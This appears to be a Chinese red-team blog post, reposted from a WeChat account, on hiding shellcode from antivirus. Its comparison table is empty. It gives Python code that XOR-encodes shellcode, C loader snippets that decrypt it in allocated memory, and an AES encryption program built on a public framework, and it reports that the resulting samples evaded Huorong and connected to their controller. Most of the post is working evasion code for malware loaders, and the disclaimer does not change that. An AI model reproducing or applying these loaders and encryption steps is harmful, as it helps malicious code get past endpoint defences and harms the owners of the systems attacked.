📌 免责声明:本系列文章仅供网络安全研究人员在合法授权下学习与研究使用,严禁用于任何非法目的。违者后果自负。
前言
随着杀毒软件的不断进化,其检测方式早已超越传统的静态特征分析。现代杀软往往会在受控的虚拟环境中执行可疑文件,并通过挂钩(hook)方式拦截并跟踪 API 调用,以此判断程序行为是否合法。更先进的产品(例如卡巴斯基)甚至具备内存扫描能力,这使得 shellcode 在内存中一旦被解密后就可能立即暴露,显著增加了免杀的复杂度。
在这种背景下,单纯依靠 shellcode 混淆已难以完全绕过所有检测机制。然而,这并不意味着混淆技术已经失效。相反,在整个免杀流程中,静态免杀始终是第一道门槛。只有先规避静态检测,后续的沙箱对抗、动态行为规避、内存防护等策略才有实施的空间。因此,shellcode 的混淆技术在静态免杀中仍然占据极其重要的地位,是免杀体系中不可或缺的一环。
在掌握了混淆技术后,再进一步结合动态免杀手段,才能更高效地规避当前主流杀软的综合防御体系,从而提升攻防演练整体的免杀成功率。
shellcode加密类型横评
Shellcode 加密是指将原始的 shellcode 使用某种加密算法(如 XOR、AES、RC4 等)处理,使其内容看起来不像恶意代码,隐藏真实指令内容,是为了对抗杀软检测,尤其是静态查杀、行为分析、特征提取等机制。
下面是一些高效实用的加密类型(按红队演练实战效果排序):
|
|
|
|
---|---|---|---|
XOR(变种) |
|
|
|
AES(ECB/CBC) |
|
|
|
RC4/RC4Drop |
|
|
|
Base64/Base32 |
|
|
|
Custom算法(自定义加密) |
|
|
|
Curve25519 + ChaCha20 |
|
|
|
Shikata Ga Nai / polymorphic encoder |
|
|
|
实现流程简述
1、生成原始shellcode
2、使用算法(如 XOR / AES)对其加密
3、编写加载器,将加密后的 shellcode 写入内存并解密执行
4、配合 VS 配置优化进行编译打包测试
实战案例:XOR加密加载器
初始阶段
构建以CreateThread为执行方式的基本加载器;
硬编码明文Shellcode,执行成功但容易被查杀;
加密与改造
1、使用XOR密钥“kun”对Shellcode加密;
raw_shellcode = b"xfcx48x83xe4xf0xe8xc8..."
key = b"kun"
encoded = bytes([b ^ key[i % len(key)] for i, b in enumerate(raw_shellcode)])
print(", ".join(f"0x{b:02x}" for b in encoded))
加密后的shellcode示例
2、在加载器中集成解密逻辑,确保在 VirtualAlloc + memcpy 后才解密;
// 在已加载的内存中解密 shellcode
for (size_t i = 0; i < shellcode_len; ++i) {
((unsigned char*)exec_mem)[i] ^= xor_key[i % key_len];
}
为达到效果,应确保明文Shellcode不落盘、不在全局区暴露、不在写入内存前解密。
经编译后,原本被查杀的样本可规避火绒检测,成功上线。
实战案例:AES加密加载器
初始阶段
使用回调函数(如EnumFontsW)等方式触发Shellcode;
打包出来,火绒直接秒
加密与改造
1、使用公开加密框架(如 GitHub: xf555er/ShellcodeEncryption)将Shellcode封装为AES格式,加密参数需与加载器逻辑一致。
using namespace std;
intmain() {
unsigned char buf[] = "xfcx48x83xe4xf0xe8xc8...";
//生成随机16位的key值和iv值
srand(time(0)); // initialize random seed
string g_key = random_string(16);
string g_iv = random_string(16);
cout << "key值: " << g_key << endl;
cout << "iv值: " << g_iv <<endl;
//将shellcode字节数组转换成十六进制字符串
size_t bufLen = sizeof(buf) / sizeof(unsigned char) - 1;
string OriginalShellcode = toHexString(buf, bufLen);
cout << "未加密的shellcode: " << OriginalShellcode << endl;
//对shellcode字符串进行加密
string EncryptShellcode = EncryptionAES(OriginalShellcode,g_key.c_str(),g_iv.c_str());
cout << "加密后的shellcode: " << EncryptShellcode << endl;
//对加密后的shellcode字符串进行解密
string DecryptShellcode = DecryptionAES(EncryptShellcode, g_key.c_str(), g_iv.c_str());
cout << "解密后的shellcode: " << DecryptShellcode << endl;
return 0;
}
https://github.com/xf555er/ShellcodeEncryption
加密结果示例
2、改造刚才的“回调函数”加载器,加入解密逻辑
// 解密shellcode
string strbuf = DecryptionAES(buf, g_key, (char*)g_iv);
// 将解密的shellcode转换为字节数组
char* p = (char*)strbuf.c_str();
unsigned char* shellcode = (unsigned char*)calloc(strbuf.length() / 2, sizeof(unsigned char));
for (size_t i = 0; i < strbuf.length() / 2; i++) {
sscanf(p, "%02x", &shellcode[i]);
p += 2;
}
int ShellcodeSize = strbuf.length() / 2;
printf("Decrypted buffer:n");
for (int i = 0; i < ShellcodeSize; i++) {
printf("\x%02x", shellcode[i]);
}
打包编译出来,火绒不再查杀,可以正常上线!
#Shellcode加密 #静态检测绕过 #红队演练 #内存扫描 #Loader #C2框架
原文始发于微信公众号(仇辉攻防):红队Shellcode加密术:从裸奔到潜行,内存中的隐秘行动
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论